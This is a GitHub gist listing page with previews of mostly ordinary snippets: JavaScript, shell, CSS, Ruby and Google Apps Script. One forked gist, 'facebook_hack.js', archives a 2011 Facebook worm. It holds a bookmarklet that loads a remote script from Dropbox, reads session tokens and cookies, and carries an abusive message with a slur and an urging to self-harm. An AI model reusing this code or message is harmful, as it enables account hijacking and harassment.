Skip to content

Instantly share code, notes, and snippets.

View filipeamoreira's full-sized avatar

Filipe A Moreira filipeamoreira

View GitHub Profile
function XHConn()
{
var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{
// Provides a device_scale class on iOS devices for scaling user
// interface elements relative to the current zoom factor.
//
// http://37signals.com/svn/posts/2407-device-scale-user-interface-elements-in-ios-mobile-safari
// Copyright (c) 2010 37signals.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#!/bin/sh -e
#
# Usage: browser
# pipe html to a browser
# e.g.
# $ echo "<h1>hi mom!</h1>" | browser
# $ ron -5 man/rip.5.ron | browser
if [ -t 0 ]; then
if [ -n "$1" ]; then
.mouse{
position: absolute;
background-image: url('../images/cursor.png');
width: 15px;
height: 22px;
z-index: 100;
}
# config/initializers/carrierwave.rb
CarrierWave.configure do |config|
config.grid_fs_database = "database_name"
config.grid_fs_host = 'localhost'
config.grid_fs_access_url = "/uploads"
config.storage = :grid_fs
end
@filipeamoreira
filipeamoreira / facebook_hack.js
Created May 12, 2011 08:50 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
@filipeamoreira
filipeamoreira / gist:1062968
Created July 4, 2011 06:17 — forked from mhawksey/gist:1029258
Google Apps Script to display email notification
function doGet(e) {
try{
var app = UiApp.createApplication();
var mainPanel = app.createVerticalPanel();
var emailTable = app.createFlexTable().setId("emailTable");
app.add(mainPanel);
mainPanel.add(emailTable);
var mail = GmailApp.getInboxThreads(0, 10);
for (var i = mail.length; i > 0; i--) {
var msg = mail[i-1];
// loop through the 'paper' variable from Raphael JS and build up the JSON object describing all images and paths within it.
loadJSON = function(paper, json) {
var set = paper.set();
$.each(json, function(index, node) {
try {
var el = paper[node.type]().attr(node);
set.push(el);
} catch(e) {}
});
return set;
# Author: Pieter Noordhuis
# Description: Simple demo to showcase Redis PubSub with EventMachine
#
# Update 7 Oct 2010:
# - This example does *not* appear to work with Chrome >=6.0. Apparently,
# the WebSocket protocol implementation in the cramp gem does not work
# well with Chrome's (newer) WebSocket implementation.
#
# Requirements:
# - rubygems: eventmachine, thin, cramp, sinatra, yajl-ruby
class PostsController < ActionController::Base
def create
Post.create(post_params)
end
def update
Post.find(params[:id]).update_attributes!(post_params)
end
private